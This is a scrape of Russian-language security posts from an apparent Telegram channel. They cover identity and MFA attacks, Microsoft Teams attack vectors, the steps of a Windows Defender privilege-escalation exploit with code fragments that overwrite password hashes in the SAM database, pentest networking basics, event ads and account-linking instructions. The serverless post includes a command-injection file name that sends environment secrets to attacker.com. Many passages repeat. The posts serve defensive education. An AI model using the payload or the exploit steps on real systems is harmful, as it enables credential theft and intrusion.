Evilginx2 перехватывают сессионные cookie в реальном времени, пока жертва вводит свой одноразовый код. Push-усталость заставляет человека нажать «Подтвердить» в три часа ночи, лишь бы уведомления прекратились. SIM-свопинг вообще убирает телефон из уравнения.⚡️ Цепочка атаки выглядит как лестница из четырёх ступеней:
1. Учётные данные — credential stuffing из утёкших баз, password spraying, покупка логов у инфостилеров. По Verizon DBIR 2025, 38% утечек начинаются именно так.
2. Обход MFA — AiTM-фишинг, перехват OTP, push-бомбинг.
3. Токены и билеты — OAuth-токены, Kerberos TGT/TGS, Primary Refresh Token в Azure AD. Всё это работает без пароля и без MFA. Pass-the-Ticket, Pass-the-Cookie, token replay — атакующий действует от имени легитимного пользователя.
4. Закрепление — Golden Ticket, долгоживущие refresh tokens, скомпрометированный Identity Provider. Сброс пароля жертвы на этом этапе уже ничего не даёт.
🎯 Отдельная боль — Kerberos. Протоколу больше 30 лет, но он по-прежнему ядро аутентификации Active Directory. Kerberoasting не требует привилегий Domain Admin. Любой доменный пользователь запрашивает сервисный билет, зашифрованный хэшем пароля сервисной учётки, и крекает его офлайн. KDC при этом видит абсолютно легитимный запрос. AS-REP Roasting ещё проще — для аккаунтов с отключённой преаутентификацией доменная учётка даже не нужна.
И ещё одна цифра, которая должна не давать спать спокойно: медианное время исправления утёкшего секрета на GitHub — 94 дня. Три месяца API-ключ или токен лежит в открытом доступе. Понятие «учётные данные» давно вышло за рамки логина и пароля — теперь это JWT, API-ключи, CI/CD-секреты, сервисные аккаунты облаков.
🛡 Что делать прямо сейчас? Проверьте AD на Kerberoastable-аккаунты и учётки без преаутентификации. Внедрите FIDO2 вместо SMS и push. Мониторьте аномальные запросы TGS-билетов. Это минимум, который закрывает самые массовые векторы.
В полной статье — детальная карта атак на identity с разбором каждой техники, инструментов и методов детекта.
https://codeby.net/threads/ataki-na-autentifikatsiyu-polnyi-razbor-tekhnik-komprometatsii-oauth-mfa-kerberos-i-identity-infrastruktury.93646/
❤10👍5🔥4
«Кибербезопасность крупных ecommerce проектов» — доклад на конференции GetNet 2026
15 мая очно в Москве и онлайн
🎤 Спикер Данила Тарасов, операционный директор в компании Mygento, покажет на реальных кейсах, почему основные угрозы приходят не от хакеров снаружи, а от внутренних уязвимостей — ошибок в разработке, инфраструктуре и человеческом факторе.
Что в докладе:
— Утечка заказов FMCG-гиганта через уязвимый браузер в контакт-центре
— Открытый Git-репозиторий с сертификатами: сценарий полного компромисса
— Типовые провалы: незащищённые API, секреты в коде, слабые CI/CD-пайплайны
— Почему периметровая защита бесполезна против внутренних ошибок
Регистрация на GetNet
А ещё есть презентация со всеми докладами
15 мая очно в Москве и онлайн
🎤 Спикер Данила Тарасов, операционный директор в компании Mygento, покажет на реальных кейсах, почему основные угрозы приходят не от хакеров снаружи, а от внутренних уязвимостей — ошибок в разработке, инфраструктуре и человеческом факторе.
Что в докладе:
— Утечка заказов FMCG-гиганта через уязвимый браузер в контакт-центре
— Открытый Git-репозиторий с сертификатами: сценарий полного компромисса
— Типовые провалы: незащищённые API, секреты в коде, слабые CI/CD-пайплайны
— Почему периметровая защита бесполезна против внутренних ошибок
Регистрация на GetNet
А ещё есть презентация со всеми докладами
❤5👍5🔥3✍1
🔓 Microsoft Teams — не мессенджер, а точка входа в вашу инфраструктуру
Почтовые фильтры натренированы ловить фишинг. Но что если атака вообще не проходит через email? Три вектора, которые сейчас активно эксплуатируются в реальных кампаниях, используют Microsoft Teams как стартовую площадку. И каждый из них обходит MFA.
⚡️ Вектор 1: Device Code Phishing
Самый элегантный и самый опасный. Device code flow — штатный механизм OAuth 2.0, придуманный для устройств без клавиатуры (Smart TV, IoT). Пользователь заходит на
Современные PhaaS-платформы превратили это в конвейер: фишинговые страницы генерируют device code динамически, AI-модули персонализируют приманки под конкретные рабочие процессы — тендеры, DocuSign, формы Microsoft. Жертва авторизуется на настоящем сайте Microsoft. Ничего подозрительного в процессе нет. MFA обходится by design, а не через уязвимость.
🎭 Вектор 2: Вишинг через Teams
Атакующий пишет сотрудникам через External Access, представляясь ИТ-поддержкой. Несколько человек отказываются, но один соглашается предоставить удалённый доступ через
Дальше — без участия жертвы: перенаправление на поддельную форму входа, загрузка MSI-пакета с вредоносной DLL, установка C2-канала, перемещение по сети через living-off-the-land. Вектор не масштабируется — один оператор на одну жертву — но одного успешного захода достаточно для полной компрометации.
🕸 Вектор 3: AiTM-прокси
Adversary-in-the-middle через прокси перехватывает сессионные токены в реальном времени. Типичная цепочка: email с PDF → ссылка на домен атакующего → прозрачное проксирование настоящей страницы логина Microsoft → перехват cookie и токена после успешной аутентификации. По оценкам исследователей, такие кампании затрагивают десятки тысяч пользователей в тысячах организаций.
📌 Что объединяет все три вектора?
Teams — не просто чат. Это OAuth-клиент с доступом к Microsoft Graph API, SharePoint и Entra ID. Компрометация через Teams даёт атакующему не пароль в открытом виде, а живой токен с правами пользователя внутри тенанта. Для SOC это выглядит как обычная работа сотрудника — пока не настроены правильные корреляции.
Что делать прямо сейчас? Заблокируйте device code flow через Conditional Access, ограничьте External Access в Teams, заблокируйте
Полный разбор всех техник с маппингом на MITRE ATT&CK и конкретными мерами защиты — в статье на форуме.
https://codeby.net/threads/ataki-cherez-microsoft-teams-krazha-uchetnykh-dannykh-i-obkhod-mfa-tekhniki-i-zashchita.93034/
Почтовые фильтры натренированы ловить фишинг. Но что если атака вообще не проходит через email? Три вектора, которые сейчас активно эксплуатируются в реальных кампаниях, используют Microsoft Teams как стартовую площадку. И каждый из них обходит MFA.
⚡️ Вектор 1: Device Code Phishing
Самый элегантный и самый опасный. Device code flow — штатный механизм OAuth 2.0, придуманный для устройств без клавиатуры (Smart TV, IoT). Пользователь заходит на
microsoft.com/devicelogin, вводит код, проходит полную аутентификацию включая MFA — push, SMS, TOTP, даже FIDO2. Всё срабатывает штатно. Токен просто уходит на инфраструктуру злоумышленника.Современные PhaaS-платформы превратили это в конвейер: фишинговые страницы генерируют device code динамически, AI-модули персонализируют приманки под конкретные рабочие процессы — тендеры, DocuSign, формы Microsoft. Жертва авторизуется на настоящем сайте Microsoft. Ничего подозрительного в процессе нет. MFA обходится by design, а не через уязвимость.
🎭 Вектор 2: Вишинг через Teams
Атакующий пишет сотрудникам через External Access, представляясь ИТ-поддержкой. Несколько человек отказываются, но один соглашается предоставить удалённый доступ через
Quick Assist — встроенный инструмент Windows. Одного хватает.Дальше — без участия жертвы: перенаправление на поддельную форму входа, загрузка MSI-пакета с вредоносной DLL, установка C2-канала, перемещение по сети через living-off-the-land. Вектор не масштабируется — один оператор на одну жертву — но одного успешного захода достаточно для полной компрометации.
🕸 Вектор 3: AiTM-прокси
Adversary-in-the-middle через прокси перехватывает сессионные токены в реальном времени. Типичная цепочка: email с PDF → ссылка на домен атакующего → прозрачное проксирование настоящей страницы логина Microsoft → перехват cookie и токена после успешной аутентификации. По оценкам исследователей, такие кампании затрагивают десятки тысяч пользователей в тысячах организаций.
📌 Что объединяет все три вектора?
Teams — не просто чат. Это OAuth-клиент с доступом к Microsoft Graph API, SharePoint и Entra ID. Компрометация через Teams даёт атакующему не пароль в открытом виде, а живой токен с правами пользователя внутри тенанта. Для SOC это выглядит как обычная работа сотрудника — пока не настроены правильные корреляции.
Что делать прямо сейчас? Заблокируйте device code flow через Conditional Access, ограничьте External Access в Teams, заблокируйте
Quick Assist через GPO или Intune.Полный разбор всех техник с маппингом на MITRE ATT&CK и конкретными мерами защиты — в статье на форуме.
https://codeby.net/threads/ataki-cherez-microsoft-teams-krazha-uchetnykh-dannykh-i-obkhod-mfa-tekhniki-i-zashchita.93034/
👍10❤9🔥6
BlueHammer - Windows did it again! 👩💻
Неизвестный исследователь обнаружил уязвимость нулевого дня, позволяющую пользователям повысить свои привилегии и запустить командную оболочку. Уязвимость затрагивает все системы Windows с активным Defender.
➡️ Суть атаки:
⏺️ Атака использует уязвимость в механизме обновления Windows Defender. Сам Windows Defender работает как служба с высокими привилегиями и использует интерфейс RPC для обновлений. Этот интерфейс позволяет программам вызывать функции в других адресных пространствах. Эксплойт вызывает эти функции напрямую и обманывает Defender, заставляя его думать, что он получает обновление (RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);. Для этой цели даже загружаются из интернета подлинные файлы обновлений Microsoft.
⏺️ Пока служба Defender проверяет, какой файл нужно прочитать, перед фактическим процессом чтения возникает временной промежуток. В это время эксплойт заменяет целевой файл символической ссылкой. Привилегированный процесс Defender после этого перестает читать безобидный файл обновления и начинает читать целевой файл, контролируемый злоумышленником. Код загружает NtCreateSymbolicLinkObject непосредственно из ntdll.dll во время выполнения, вместо использования стандартных API Windows. Это позволяет использовать внутреннюю, недокументированную системную функцию NT для создания низкоуровневых символических ссылок в пространстве имен Object Manager, тем самым преднамеренно перенаправляя путь между проверкой и использованием.
⏺️ После замены объекта он открывается с правами Защитника (SYSTEM). Это предоставляет доступ к базе данных SAM, которая является системой управления пользователями Windows. Эксплойт использует автономную библиотеку реестра (offreg.h), которая может использоваться для изменения разделов реестра в автономном режиме (т.е. без текущих проверок безопасности системы).
⏺️ В сочетании с ntsecapi.h (NT Security API) это напрямую записывает данные в базу данных SAM для изменения паролей и прав доступа групп. Это достигается с помощью оператора DWORD err = OROpenHive(sampath, &hSAMhive);, где sampath — это путь к файлу SAM (C:\Windows\System32\config\SAM), и OROpenHive загружает файл как автономный раздел реестра.
⏺️ После загрузки SAM код перемещается по структуре реестра. Сначала открывается область учетных записей: `err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account", &hkey); Вскоре после этого происходит решающий шаг, предоставляющий доступ всем пользователям: `err = OROpenKey(hSAMhive, L"SAM\\Domains\\Account\\Users", &hkey); Этот путь важен, поскольку он содержит все локальные учетные записи пользователей. Каждый подраздел в этом ключе соответствует пользователю, идентифицированному по его RID.
⏺️ Для обработки данных всех пользователей следующим шагом является определение количества подразделов.
Функция OREnumKey возвращает имя каждого подраздела. Для каждой найденной записи затем открывается соответствующий пользовательский ключ.
Это позволяет считывать так называемое V-значение и получать доступ к именам пользователей, LM-хешу, NTLM-хешу и другим метаданным.
Хэш NTLM (realNTLMHash) расшифровывается, после чего пароль изменяется с помощью функции ChangeUserPassword. Текущий хэш заменяется новым хэшем (newNTLM).
⏺️ После успешной смены пароля эксплойт запускает командную оболочку в контексте пользователя, которым он манипулирует, используя временно установленный пароль.
⏺️ После успешного запуска оболочки цепочка выполнения эксплойта завершается. Временно манипулируя хешами NTLM и впоследствии входя в систему с привилегированными учетными записями, злоумышленник получает немедленный доступ к интерактивной сессии с повышенными правами.
➡️ Как защититься?
BlueHammer требует доступа к локальному выполнению кода. Любая мера, затрудняющая первоначальный доступ, напрямую уменьшает поверхность атаки.
Неизвестный исследователь обнаружил уязвимость нулевого дня, позволяющую пользователям повысить свои привилегии и запустить командную оболочку. Уязвимость затрагивает все системы Windows с активным Defender.
Функция OREnumKey возвращает имя каждого подраздела. Для каждой найденной записи затем открывается соответствующий пользовательский ключ.
Это позволяет считывать так называемое V-значение и получать доступ к именам пользователей, LM-хешу, NTLM-хешу и другим метаданным.
Хэш NTLM (realNTLMHash) расшифровывается, после чего пароль изменяется с помощью функции ChangeUserPassword. Текущий хэш заменяется новым хэшем (newNTLM).
BlueHammer требует доступа к локальному выполнению кода. Любая мера, затрудняющая первоначальный доступ, напрямую уменьшает поверхность атаки.
Please open Telegram to view this post
VIEW IN TELEGRAM
❤7👍6🔥4🤯1
Сорок минут впустую — как одна ошибка с уровнем сети ломает весь пентест
Представьте: вы запускаете ARP-спуфинг в корпоративной сети, всё настроено идеально, инструмент работает — а перехваченных пакетов ноль. Вы перебираете конфиги, гуглите ошибки, меняете адаптер… А проблема банальна: цель в другом VLAN. ARP-фреймы не выходят за пределы broadcast-домена. Это ограничение уровня L2, и никакой инструмент его не обойдёт.
Именно поэтому модель OSI для пентестера — не академическая зубрёжка, а практическая карта. Она отвечает на два вопроса: где я сейчас работаю и что здесь вообще возможно?
🔍 Вот как это выглядит в реальности:
• Сканируете порты через
• Запускаете Responder для перехвата NTLM-хешей — работаете сразу на L2–L7. Подмена DNS/LLMNR-ответов на прикладном уровне опирается на широковещание канального.
• Эксплуатируете SQLi через Burp Suite — чистый L7. Один пентестер, три сценария, три набора ограничений.
⚡️ Отдельная история — TCP-рукопожатие. Три пакета: SYN, SYN-ACK, ACK. Казалось бы, элементарно. Но именно на этой механике построено всё сканирование портов. SYN-скан в Nmap отправляет SYN и не завершает рукопожатие — сразу шлёт RST после ответа сервера. Поэтому он быстрее и тише полного TCP-connect. Но требует root-привилегий для работы с raw-сокетами. Без root Nmap автоматически переключится на
🛡 И ещё момент, который часто упускают начинающие: понимание уровня атаки критически важно для отчёта. Нашли уязвимость на L2? Рекомендация — port security и Dynamic ARP Inspection на коммутаторах. На L7? WAF или исправление кода. Без указания уровня рекомендация «настройте защиту» бесполезна — всё равно что прийти к врачу и сказать «болит», не уточнив где.
📌 Четыре TCP-флага, которые стоит запомнить навсегда:
• SYN — начало соединения
• ACK — подтверждение
• RST — принудительный сброс
• FIN — корректное завершение
Этих четырёх хватит, чтобы читать 90% того, что происходит в Wireshark при сканировании.
В полной статье — подробный разбор стека TCP/IP, таблицы соответствия с OSI, конкретные команды Nmap и объяснение, почему пентестеры думают в терминах TCP/IP, а пишут в терминах OSI.
https://codeby.net/threads/osnovy-setei-dlya-pentestera-model-osi-tcp-ip-i-protokoly-kotoryye-nuzhno-znat.93035/
Представьте: вы запускаете ARP-спуфинг в корпоративной сети, всё настроено идеально, инструмент работает — а перехваченных пакетов ноль. Вы перебираете конфиги, гуглите ошибки, меняете адаптер… А проблема банальна: цель в другом VLAN. ARP-фреймы не выходят за пределы broadcast-домена. Это ограничение уровня L2, и никакой инструмент его не обойдёт.
Именно поэтому модель OSI для пентестера — не академическая зубрёжка, а практическая карта. Она отвечает на два вопроса: где я сейчас работаю и что здесь вообще возможно?
🔍 Вот как это выглядит в реальности:
• Сканируете порты через
nmap -sS — вы на L3–L4. Отправляете IP-пакеты с TCP-сегментами, манипулируете флагами SYN/ACK/RST. Получили SYN-ACK — порт открыт. RST — закрыт. Тишина — между вами firewall, который дропает пакет.• Запускаете Responder для перехвата NTLM-хешей — работаете сразу на L2–L7. Подмена DNS/LLMNR-ответов на прикладном уровне опирается на широковещание канального.
• Эксплуатируете SQLi через Burp Suite — чистый L7. Один пентестер, три сценария, три набора ограничений.
⚡️ Отдельная история — TCP-рукопожатие. Три пакета: SYN, SYN-ACK, ACK. Казалось бы, элементарно. Но именно на этой механике построено всё сканирование портов. SYN-скан в Nmap отправляет SYN и не завершает рукопожатие — сразу шлёт RST после ответа сервера. Поэтому он быстрее и тише полного TCP-connect. Но требует root-привилегий для работы с raw-сокетами. Без root Nmap автоматически переключится на
-sT, который завершает рукопожатие полностью и оставляет больше следов в логах.🛡 И ещё момент, который часто упускают начинающие: понимание уровня атаки критически важно для отчёта. Нашли уязвимость на L2? Рекомендация — port security и Dynamic ARP Inspection на коммутаторах. На L7? WAF или исправление кода. Без указания уровня рекомендация «настройте защиту» бесполезна — всё равно что прийти к врачу и сказать «болит», не уточнив где.
📌 Четыре TCP-флага, которые стоит запомнить навсегда:
• SYN — начало соединения
• ACK — подтверждение
• RST — принудительный сброс
• FIN — корректное завершение
Этих четырёх хватит, чтобы читать 90% того, что происходит в Wireshark при сканировании.
В полной статье — подробный разбор стека TCP/IP, таблицы соответствия с OSI, конкретные команды Nmap и объяснение, почему пентестеры думают в терминах TCP/IP, а пишут в терминах OSI.
https://codeby.net/threads/osnovy-setei-dlya-pentestera-model-osi-tcp-ip-i-protokoly-kotoryye-nuzhno-znat.93035/
👍12❤5🔥4👎1
Периметр: взгляд атакующего на внешний контур. Конференция по наступательной информационной безопасности
22 мая в Москве пройдёт бесплатная конференция «Периметр» от компании МЕТАСКАН, где обсудят наступательную безопасность, внешний периметр, реальные находки и техники, которые работают на живой инфраструктуре.
Что в программе:
⏺️ Раздался стук — цифры о состоянии сетей и уязвимостях внешнего периметра корпоративных инфраструктур Рунета
⏺️ Блеск и нищета сетевого сканирования — как работать с unknown и
⏺️ AI in-the-loop — как генеративный AI в связке с привычными инструментами помогает находить новые уязвимости
Huge Impact - находки на внешних периметрах, которые приводили к максимальному ущербу за прошедший год:
▶️ захват кассовых аппаратов
▶️ снова Bitrix: RCE в кастомных доработках
▶️ поиск иголки в стоге сена магистральных провайдеров
▶️ «Большой брат»: захват систем видеонаблюдения
▶️ секретный доклад
Также будут доклады от партнёров конференции: Сбербанк, Xello, Mitigator, Indeed.
Активности:
Lockpicking (физический взлом замков)
RFID и NFC-эксперименты
Соревновательный OSINT
Конкурс по обходу фильтров антифишинга
И отдельный бонус для тех, кто скучал по олдскулу: демосцена и ретро-компьютинг. ZX Spectrum, Commodore 64, Commodore Amiga, Микроша, Atari, лучшие intro/demo и турнир по DOOM II.
Когда: 22 мая 2026, 10:00
Где: Москва, Дворец Культур, ул. Шарикоподшипниковская, д. 15, стр. 1
Метро: Дубровка
Участие бесплатное, но регистрация обязательна!
🔗 ССЫЛКА НА РЕГИСТРАЦИЮ
22 мая в Москве пройдёт бесплатная конференция «Периметр» от компании МЕТАСКАН, где обсудят наступательную безопасность, внешний периметр, реальные находки и техники, которые работают на живой инфраструктуре.
Что в программе:
' ' протоколами при анализе сетевой инфраструктурыHuge Impact - находки на внешних периметрах, которые приводили к максимальному ущербу за прошедший год:
Также будут доклады от партнёров конференции: Сбербанк, Xello, Mitigator, Indeed.
Активности:
Lockpicking (физический взлом замков)
RFID и NFC-эксперименты
Соревновательный OSINT
Конкурс по обходу фильтров антифишинга
Когда: 22 мая 2026, 10:00
Где: Москва, Дворец Культур, ул. Шарикоподшипниковская, д. 15, стр. 1
Метро: Дубровка
Участие бесплатное, но регистрация обязательна!
Please open Telegram to view this post
VIEW IN TELEGRAM
👍8❤6🔥4✍1👎1🆒1
Исследователь-одиночка, скрывающийся под никами Chaotic Eclipse и Nightmare-Eclipse, продолжает свою «войну» против Microsoft. После недавнего слива трех уязвимостей в Defender, он опубликовал еще два критических бага, затрагивающих Windows 11 и серверные версии 2022/2025. В ИБ-сообществе эти находки уже получили кодовые имена YellowKey и GreenPlasma.
Ситуация накаляется: исследователь прямо заявляет, что это месть за игнорирование его отчетов со стороны MSRC (Microsoft Security Response Center)
Вот основные технические подробности, которые известны:
Microsoft пока ограничивается стандартными заявлениями о «приверженности безопасности клиентов», однако молчаливое исправление предыдущих багов (как в случае с RedSun) подтверждает — проблема носит массовый характер.
Please open Telegram to view this post
VIEW IN TELEGRAM
👍11❤7🔥6❤🔥1
🔐 Единая система входа Codeby ID — как пользоваться
Codeby ID — это один аккаунт для входа на форум codeby.net и на платформу hackerlab.pro. К одному Codeby ID можно привязать несколько способов входа: email, Google, GitHub, Telegram. Куда бы вы ни заходили — это будет ваш один и тот же аккаунт.
---
❓ Сценарий 1 — у меня только Telegram и аккаунт на HackerLab
Цель: добавить email и получить доступ к форуму с тем же аккаунтом.
1. Зайдите на hackerlab.pro через кнопку «Войти через Telegram» (как раньше)
2. Откройте свой Профиль → Настройки
3. Нажмите кнопку «Привязать email» (или подобную в блоке «Способы входа»)
4. Откроется страница Codeby ID — введите свой реальный email и нажмите «Сохранить»
5. На указанный email придёт письмо с подтверждением — перейдите по ссылке внутри письма
6. Готово ✅ — теперь у вас два способа входа (Telegram + email)
После этого вы автоматически сможете зайти на форум codeby.net через Codeby ID — система создаст для вас аккаунт или найдёт существующий по email.
---
❓ Сценарий 2 — у меня только email/Google/GitHub и аккаунт на форуме
Цель: привязать Telegram и зайти на HackerLab в свой существующий аккаунт.
1. Зайдите на codeby.net через ваш обычный способ (email/Google/GitHub)
2. Откройте «Безопасность аккаунта» —
3. Нажмите кнопку в блоке «🔐 Управление способами входа»
4. Откроется страница Codeby ID — раздел «Способы входа»
5. Нажмите «Привязать Telegram» — откроется виджет Telegram, подтвердите вход в Telegram
6. Готово ✅ — теперь Telegram привязан к вашему Codeby ID
Теперь зайдите на hackerlab.pro через «Войти через Telegram» — попадёте в свой существующий HackerLab-аккаунт со всем прогрессом (если у вас уже был аккаунт на HL под этим Telegram).
---
❓ Сценарий 3 — связать существующие аккаунты Форум + HackerLab
Связь происходит автоматически, если все способы входа привязаны к одному Codeby ID.
Проверка: зайдите на
Если способа не хватает — привяжите по инструкциям из Сценария 1 или 2.
После того как все способы привязаны:
- Логин на форум по email/Google/GitHub → ваш форумный аккаунт
- Логин на HL по Telegram → ваш HL-аккаунт со всеми задачами
- Это один и тот же Codeby ID на обоих сайтах
---
⚠️ Чего НЕ нужно делать
- ❌ Не регистрируйтесь через разные email на разных сайтах — система воспримет это как разных людей
- ❌ Не используйте одноразовые email (mailinator, cock.lu и подобные) — они блокируются как спам, письмо подтверждения не дойдёт
- ❌ Если что-то пошло не так — не создавайте новый аккаунт повторно, напишите мне (контакт ниже). Лишние аккаунты только усложнят восстановление
---
🆘 Куда писать о проблеме
Если:
- Видите пустой аккаунт вместо своего старого (нет ваших задач CTF / нет постов на форуме)
- Не получается привязать email или Telegram
- Письмо с подтверждением не приходит
- Кнопка «Войти через X» не работает или показывает ошибку
- Любая другая проблема со входом
Напишите мне в Telegram: [@The_Codeby] или на mail@codeby.email — приложите скриншот и опишите что делали и что увидели. Чем подробнее — тем быстрее починим.
Codeby ID — это один аккаунт для входа на форум codeby.net и на платформу hackerlab.pro. К одному Codeby ID можно привязать несколько способов входа: email, Google, GitHub, Telegram. Куда бы вы ни заходили — это будет ваш один и тот же аккаунт.
---
❓ Сценарий 1 — у меня только Telegram и аккаунт на HackerLab
Цель: добавить email и получить доступ к форуму с тем же аккаунтом.
1. Зайдите на hackerlab.pro через кнопку «Войти через Telegram» (как раньше)
2. Откройте свой Профиль → Настройки
3. Нажмите кнопку «Привязать email» (или подобную в блоке «Способы входа»)
4. Откроется страница Codeby ID — введите свой реальный email и нажмите «Сохранить»
5. На указанный email придёт письмо с подтверждением — перейдите по ссылке внутри письма
6. Готово ✅ — теперь у вас два способа входа (Telegram + email)
После этого вы автоматически сможете зайти на форум codeby.net через Codeby ID — система создаст для вас аккаунт или найдёт существующий по email.
---
❓ Сценарий 2 — у меня только email/Google/GitHub и аккаунт на форуме
Цель: привязать Telegram и зайти на HackerLab в свой существующий аккаунт.
1. Зайдите на codeby.net через ваш обычный способ (email/Google/GitHub)
2. Откройте «Безопасность аккаунта» —
https://codeby.net/account/security3. Нажмите кнопку в блоке «🔐 Управление способами входа»
4. Откроется страница Codeby ID — раздел «Способы входа»
5. Нажмите «Привязать Telegram» — откроется виджет Telegram, подтвердите вход в Telegram
6. Готово ✅ — теперь Telegram привязан к вашему Codeby ID
Теперь зайдите на hackerlab.pro через «Войти через Telegram» — попадёте в свой существующий HackerLab-аккаунт со всем прогрессом (если у вас уже был аккаунт на HL под этим Telegram).
---
❓ Сценарий 3 — связать существующие аккаунты Форум + HackerLab
Связь происходит автоматически, если все способы входа привязаны к одному Codeby ID.
Проверка: зайдите на
https://id.codeby.net/if/user/ → раздел «Способы входа» — здесь должны быть все ваши способы (Telegram, email, Google, GitHub — те что используете).Если способа не хватает — привяжите по инструкциям из Сценария 1 или 2.
После того как все способы привязаны:
- Логин на форум по email/Google/GitHub → ваш форумный аккаунт
- Логин на HL по Telegram → ваш HL-аккаунт со всеми задачами
- Это один и тот же Codeby ID на обоих сайтах
---
⚠️ Чего НЕ нужно делать
- ❌ Не регистрируйтесь через разные email на разных сайтах — система воспримет это как разных людей
- ❌ Не используйте одноразовые email (mailinator, cock.lu и подобные) — они блокируются как спам, письмо подтверждения не дойдёт
- ❌ Если что-то пошло не так — не создавайте новый аккаунт повторно, напишите мне (контакт ниже). Лишние аккаунты только усложнят восстановление
---
🆘 Куда писать о проблеме
Если:
- Видите пустой аккаунт вместо своего старого (нет ваших задач CTF / нет постов на форуме)
- Не получается привязать email или Telegram
- Письмо с подтверждением не приходит
- Кнопка «Войти через X» не работает или показывает ошибку
- Любая другая проблема со входом
Напишите мне в Telegram: [@The_Codeby] или на mail@codeby.email — приложите скриншот и опишите что делали и что увидели. Чем подробнее — тем быстрее починим.
👍8❤3🔥2
47 Lambda-функций и ни одного алерта: почему SOC не видит serverless-атаки
Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего.
Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления.
🔥 Три вектора, которые стоит знать
• Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в
• Privilege escalation через IAM-роли. Если у атакующего есть
• Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.
📊 По данным Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.
🛡 Что проверить прямо сейчас:
1. Есть ли в ваших Lambda-функциях вызовы
2. Execution roles — минимальные привилегии или wildcard?
3. Настроены ли алерты на
В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.
https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/
Представьте: утёкший access key на GitHub, понедельник утро, и через полтора часа пентестер уже читает production-таблицу с платёжными данными 200 тысяч клиентов. CloudTrail работает, но ни одного алерта на serverless-специфичные TTPs. Функция отработала за миллисекунды и исчезла вместе с контейнером. Расследовать нечего.
Это реальная ситуация с cloud-пентеста в начале 2025 года. И она хорошо показывает главную проблему serverless-безопасности — классические средства мониторинга просто не заточены под эфемерные вычисления.
🔥 Три вектора, которые стоит знать
• Event injection — отравление триггеров. Lambda обрабатывает файл из S3 и подставляет имя объекта в
os.system(). Атакующий загружает файл с именем вроде ; curl attacker.com/exfil?d=$(env)#.csv — и переменные окружения с IAM-токенами утекают за одно исполнение. Одно. Миллисекунды. Причём WAF тут не спасёт: он защищает HTTP-уровень через API Gateway, но event injection через SQS или SNS идёт в обход — payload лезет через окно, пока WAF сторожит дверь.• Privilege escalation через IAM-роли. Если у атакующего есть
iam:PassRole и lambda:UpdateFunctionCode, он может подменить код существующей функции и привязать к ней роль с широкими правами. На пентесте 12 из 47 функций имели execution role с Action: "*" на S3 и DynamoDB. Это не edge-case, а типичная картина — разработчики назначают максимальные права «чтобы работало» и забывают ужать.• Persistence через триггеры. Атакующий создаёт EventBridge-правило, которое вызывает вредоносную функцию при каждом создании IAM-пользователя или загрузке файла. Lambda как эфемерный C2-сервер: получает команды, передаёт на скомпрометированные хосты, завершается. Следов в файловой системе нет, потому что файловой системы нет.
📊 По данным Cloud Security Alliance, более 70% организаций до сих пор не имеют выделенных контролей для serverless-окружений. При этом рынок serverless-безопасности уже перевалил за 12 млрд долларов — деньги вкладываются, но зрелость detection отстаёт на годы.
🛡 Что проверить прямо сейчас:
1. Есть ли в ваших Lambda-функциях вызовы
os.system() или subprocess с пользовательским вводом?2. Execution roles — минимальные привилегии или wildcard?
3. Настроены ли алерты на
UpdateFunctionCode и iam:PassRole в CloudTrail?В полной статье — разбор конкретных цепочек атак с примерами кода, detection-правилами для SIEM и чек-листом для харденинга.
https://codeby.net/threads/ataki-na-serverless-funktsii-injection-event-poisoning-i-privilege-escalation.93670/
👍8🔥5❤4